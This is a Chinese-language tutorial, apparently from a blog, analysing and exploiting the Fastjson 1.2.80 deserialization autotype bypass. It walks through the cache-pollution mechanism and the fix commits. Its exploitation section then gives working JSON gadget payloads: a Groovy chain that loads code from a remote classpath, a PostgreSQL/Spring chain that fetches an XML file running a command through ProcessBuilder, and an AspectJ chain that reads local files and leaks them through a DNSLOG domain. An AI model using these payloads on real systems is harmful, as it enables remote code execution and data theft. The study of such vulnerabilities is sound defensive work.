某json 1.2.80 漏洞分析
字数 1683 2025-08-26 22:11:34

Fastjson 1.2.80 漏洞分析与利用教学文档

一、Fastjson 历史漏洞回顾

1. Fastjson 1.2.47 漏洞

  • 漏洞原理:通过 MiscCodec 向白名单缓存中 put 任意类
  • 利用方式:利用 MiscCodec 反序列化机制绕过白名单限制

2. Fastjson 1.2.68 漏洞

  • 漏洞原理:利用实现了 AutoCloseable 接口的子类中的危险操作
  • 修复方式:将 java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable 加入黑名单

二、Fastjson 1.2.80 漏洞分析

1. 漏洞原理

  • 关键点:利用异常类 Throwable 作为期望类
  • 核心机制
    • 反序列化 setter method parameterpublic field(无视 autotype)时添加类到白名单
    • 通过异常类继承关系绕过安全检查

2. 漏洞触发流程

示例代码分析

public class Main {
    public static void main(String[] args) throws Exception {
        String json2 = new String(Files.readAllBytes(Paths.get("1.txt")));
        try {
            Object parse = JSON.parse(json2);
            System.out.println(parse);
        } catch (Exception e) {
            e.printStackTrace();
        }
        Field mappings = TypeUtils.class.getDeclaredField("mappings");
        mappings.setAccessible(true);
        ConcurrentMap<String, Class<?>> o = (ConcurrentMap<String, Class<?>>) mappings.get(TypeUtils.class);
        System.out.println("-");
        o.forEach((k, v) -> {
            if (k.contains("My")) {
                System.out.println(k);
            }
        });
    }
}

public class MyClass {
    public String name;
}

public class MyException extends Throwable {
    private MyClass clazz;
    public void setClazz(MyClass clazz) {
        this.clazz = clazz;
    }
}

恶意JSON构造

{
    "a": {
        "@type": "java.lang.Exception",
        "@type": "MyException",
        "clazz": {},
        "stackTrace": []
    },
    "b": {
        "@type": "MyClass",
        "name": "asd"
    }
}

3. 详细执行流程

  1. 期望类处理

    • ParserConfig.checkAutoType() 中,expectClassFlagtrue
    • classloader 中加载 MyException 并获取 class
    • 将目标类加入到类缓存中:TypeUtils.addMapping(typeName, clazz)
  2. 异常类反序列化

    • 使用 ThrowableDeserializer 反序列化器
    • 通过 createException 创建异常实例
    • 获取字段反序列化实例 FieldDeserializer
  3. 类型转换过程

    • 进入 TypeUtils.cast() 进行类型转换
    • 对于 JSONObject 类型,进入 TypeUtils.castToJavaBean()
    • 再次进入 getDeserializer,此时参数是 MyExceptionclazz 字段的类型 MyClass
  4. 缓存污染

    • 调用 putDeserializer 函数,填充 ParserConfigdeserializers 列表
    • 导致后续 checkAutoType 时可以通过 deserializers 获取 MyClass

三、漏洞修复

1. 修复提交

  • https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d
  • https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15

2. 修复措施

  • 更新黑白名单
  • 直接禁用异常类利用路径
  • 在加类缓存时增加 autotype 判断

四、漏洞利用(Gadget)

1. Groovy 依赖利用

依赖

  • Groovy

POC

{
    "@type": "java.lang.Exception",
    "@type": "org.codehaus.groovy.control.CompilationFailedException",
    "unit": {}
}
{
    "@type": "org.codehaus.groovy.control.ProcessingUnit",
    "@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config": {
        "@type": "org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList": "http://127.0.0.1:8090/"
    }
}

额外文件

  • META-INF/services/org.codehaus.groovy.transform.ASTTransformation 中写入恶意类名
  • 创建对应的 Evil 类实现命令执行代码

2. JDBC 依赖利用

依赖

  • Jython
  • PostgreSQL
  • Spring-context

POC

{
    "a": {
        "@type": "java.lang.Exception",
        "@type": "org.python.antlr.ParseException",
        "type": {}
    },
    "b": {
        "@type": "org.python.core.PyObject",
        "@type": "com.ziclix.python.sql.PyConnection",
        "connection": {
            "@type": "org.postgresql.jdbc.PgConnection",
            "hostSpecs": [
                {
                    "host": "127.0.0.1",
                    "port": 2333
                }
            ],
            "user": "user",
            "database": "test",
            "info": {
                "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg": "http://127.0.0.1:8090/exp.xml"
            },
            "url": ""
        }
    }
}

XML 载荷

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <list value-type="java.lang.String">
                <value>cmd</value>
                <value>/c</value>
                <value>calc</value>
            </list>
        </constructor-arg>
        <property name="whatever" value="#{pb.start()}"/>
    </bean>
</beans>

3. AspectJ 利用

分三次攻击

  1. 第一次攻击:
{
    "@type": "java.lang.Exception",
    "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
  1. 第二次攻击:
{
    "@type": "java.lang.Class",
    "val": {
        "@type": "java.lang.String" {
            "@type": "java.util.Locale",
            "val": {
                "@type": "com.alibaba.fastjson.JSONObject",
                {
                    "@type": "java.lang.String"
                    "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                    "newAnnotationProcessorUnits": [{}]
                }
            }
        }
    }
}
  1. 第三次攻击(文件读取):
{
    "x": {
        "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName": "c:/windows/win.ini"
    }
}

回显方式

  • 使用报错或DNSLOG
  • 替代第三次攻击的载荷:
{
    "@type": "java.lang.Character",
    "c": {
        "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName": "c:/windows/win.ini"
    }
}

DNSLOG 利用(Windows平台可能不成功)

{
    "a": {
        "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName": "1.txt"
    },
    "b": {
        "@type": "java.net.Inet4Address",
        "val": {
            "@type": "java.lang.String" {
                "@type": "java.util.Locale",
                "val": {
                    "@type": "com.alibaba.fastjson.JSONObject",
                    {
                        "@type": "java.lang.String"
                        "@type": "java.util.Locale",
                        "language": {
                            "@type": "java.lang.String" {
                                "$ref": "$"
                            }
                        },
                        "country": "x.xnfhnufo.dnslog.pw"
                    }
                }
            }
        }
    }
}

五、参考资源

  1. 《Hacking JSON》议题
  2. https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Fastjson 1.2.80 漏洞分析与利用教学文档 一、Fastjson 历史漏洞回顾 1. Fastjson 1.2.47 漏洞 漏洞原理 :通过 MiscCodec 向白名单缓存中 put 任意类 利用方式 :利用 MiscCodec 反序列化机制绕过白名单限制 2. Fastjson 1.2.68 漏洞 漏洞原理 :利用实现了 AutoCloseable 接口的子类中的危险操作 修复方式 :将 java.lang.Runnable 、 java.lang.Readable 和 java.lang.AutoCloseable 加入黑名单 二、Fastjson 1.2.80 漏洞分析 1. 漏洞原理 关键点 :利用异常类 Throwable 作为期望类 核心机制 : 反序列化 setter method parameter 或 public field (无视 autotype )时添加类到白名单 通过异常类继承关系绕过安全检查 2. 漏洞触发流程 示例代码分析 恶意JSON构造 3. 详细执行流程 期望类处理 : 在 ParserConfig.checkAutoType() 中, expectClassFlag 为 true 从 classloader 中加载 MyException 并获取 class 将目标类加入到类缓存中: TypeUtils.addMapping(typeName, clazz) 异常类反序列化 : 使用 ThrowableDeserializer 反序列化器 通过 createException 创建异常实例 获取字段反序列化实例 FieldDeserializer 类型转换过程 : 进入 TypeUtils.cast() 进行类型转换 对于 JSONObject 类型,进入 TypeUtils.castToJavaBean() 再次进入 getDeserializer ,此时参数是 MyException 类 clazz 字段的类型 MyClass 缓存污染 : 调用 putDeserializer 函数,填充 ParserConfig 的 deserializers 列表 导致后续 checkAutoType 时可以通过 deserializers 获取 MyClass 类 三、漏洞修复 1. 修复提交 https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15 2. 修复措施 更新黑白名单 直接禁用异常类利用路径 在加类缓存时增加 autotype 判断 四、漏洞利用(Gadget) 1. Groovy 依赖利用 依赖 Groovy POC 额外文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation 中写入恶意类名 创建对应的 Evil 类实现命令执行代码 2. JDBC 依赖利用 依赖 Jython PostgreSQL Spring-context POC XML 载荷 3. AspectJ 利用 分三次攻击 第一次攻击: 第二次攻击: 第三次攻击(文件读取): 回显方式 使用报错或DNSLOG 替代第三次攻击的载荷: DNSLOG 利用(Windows平台可能不成功) 五、参考资源 《Hacking JSON》议题 https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/